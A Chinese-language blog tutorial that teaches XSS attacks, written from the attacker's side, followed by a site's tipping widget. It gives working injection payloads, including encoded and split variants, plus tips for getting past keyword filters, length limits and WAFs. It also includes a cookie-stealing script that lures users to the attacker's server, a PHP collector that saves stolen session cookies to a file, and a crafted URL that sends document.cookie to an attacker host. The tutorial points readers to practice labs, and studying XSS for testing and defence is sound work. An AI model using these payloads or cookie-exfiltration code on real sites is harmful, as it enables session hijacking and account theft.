网络攻击之XSS攻击入门

XSS简介

XSS 其实是 cross-site scripting(跨域脚本攻击) 的简写。他的重点在于 跨域 以及 脚本 这两个词。为什么会产生这个攻击类型呢?最大的原因在于,网站对于用户的输入过于信任,用户输入什么都可以,服务器也不会对用户的输入进行检查,于是攻击者也便有了可乘之机。

XSS分类

XSS 的分类其实有很多,按照不同的特点进行分类,XSS都能分出很多类别来,例如:反射型XSS、存储型XSS、DOM base XSS、非DOM XSS。本文主要就反射型XSS、存储型XSS来进行讲解。

XSS攻击实施

一、确定网站存在XSS攻击漏洞

在进行XSS攻击之前,我们要确定网站存在XSS攻击漏洞,只有确定了网站存在漏洞,那么才能进行针对这个网站的攻击。一般来说,只要网站有让用户输入的地方,就会有存在漏洞的可能。最常规的做法就是,使用f12来看网站的源码,进而确定注入点在哪里,然后再看看网站是否有相应的防护措施,如果有防护措施的话,就尝试绕过这些检查。

二、构造攻击代码

1、直接输入js代码
直接输入js代码虽然很简单,但是需要注意的是,有可能你找的注入点需要截断以后才能成功注入。例如,你找到了这样的一个注入点:

<input type="text" name="name" value="">

如果上边的 value 刚好是你找到的注入点,那么,你在注入代码的时候,不能单纯的直接写入js代码,而是需要把value后边的内容给注释掉,类似下边的代码:

"/><script> code </script>

存在这么简单的漏洞的网站现在很少了,要想真正的实现攻击可没有这么简单。

2、利用HTML标签属性

<a href="javascript:alert('')" >掩饰的东西</a>
<img href="javascript:alert('')" /> <!--过时了-->

3、利用HTML事件

<img src="" onclick="alert('')" />

可以利用的事件有很多,例如:onerror 、 onload 、 onsubmit 等。
4、使用字符编码

HTML编码
<img src=" " onerror="&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41">

js自带的编码方法
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">
URL编码
http://www.xxx.com/search?a=%3Cscript%3Ealert(%22xss%E2%80%9C%EF%BC%89%3C/script%3E

5、拆分法

<script>a='document.'</script>
<script>a='createElement("'</script>
.......

有的网站会对用户的输入长度做一个限制,这样的话,你可以把一段长的注入代码分成好几段,然后再去注入。大多数的网站,输入长度的限制只是在前端,这个时候我们也可以抓包,然后在包里对应的注入点把自己的代码写进去。
——Markdown的代码高亮怎么怪怪的。。。

反射型XSS详解

反射型XSS的攻击,最常见的就是用来窃取别人cookie的攻击了。下面来举两个栗子:
1、在可以留言、评论的网站留下自己的恶意代码,用户在点击的时候,就会把cookie发给攻击者

要注入的代码
<script> 
    var c_k = document.cookie; 
    var a = document.createElement('a');
    a.href = '攻击者的服务器地址'
    a.innerHTML = '... '; //填写吸引人的内容,诱骗他们点击链接(读书人的事,怎么能叫骗呢<_>)
    document.body.appendChild(a);
</script>

攻击者服务器上的代码
<?php
    $cookie = $_GET['PHPSESSID'];  //获取cookie
    file_put_contents(file, $cookie);  //把获取到的cookie保存到本地文件里
?>

2、构造恶意链接发送给他们

http://www.xxx.com/?name=<script>document.location.href='攻击者的服务器地址/?'+document.cookie</script>

http://www.xxx.com/?a=<script type="..."><![CDATA][window.open(...)]>

可能你会觉得这个方法很难实现获取cookie,但是,如果存在漏洞的是一个知名网站呢?大多数人都会选择相信这个网站的链接吧。。。。

存储型XSS详解

存储型XSS,其实他的攻击构造就和他的名字一样,我们可以把攻击的内容存储在攻击对象的服务器上,这样的话,当服务器在加载相应的文件的时候,我们的攻击代码也可以同时被加载上。

如何XSS攻击绕过检查

1、关键字检查的绕过
A、 可以使用编码的方式进行绕过。
B、 构造服务器所不能发现,但是实际上可以解析出来对应关键字的字符。
C、 变换大小写。

2、长度检查的绕过
A、 拆分。
B、 如果长度限制只是在前端的话,也可以不拆分,只需要抓包,然后修改数据就可以。

3、WAF防护的绕过
不断的构造payload,从而发现WAF写的规则防护的是什么,进而绕过WAF检查。比如:多加一些空格、编码、变换大小写(不过这个应该没用吧,如果一个WAF防火墙连这个都不能防住,那还做什么WAF)、改变攻击代码的关键字等。

4、针对特定语言防护的绕过
有可能某个网站只对了特定语言做了检查,那么我们也可以变换攻击代码使用的语言,例如使用CSS。

更复杂的XSS攻击

XSS这个攻击真的很简单,防护起来也很方便,攻击能力也不是太强,但是,这并不代表XSS攻击很鸡肋。
XSS攻击可以结合很多攻击来进行攻击,例如CSRF、RCE等。相应的结合攻击方法会在之后的文章里给出。

用得到的网站

XSS入门练习网站推荐:
http://xss-quiz.int21h.jp/

bWAPP一个很适合用来练习web攻击的工具:
https://sourceforge.net/projects/bwapp/

用得到的工具

BurpSuite
Wireshark
各种编码解码工具(这个东西也可以自己写一个,很简单)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值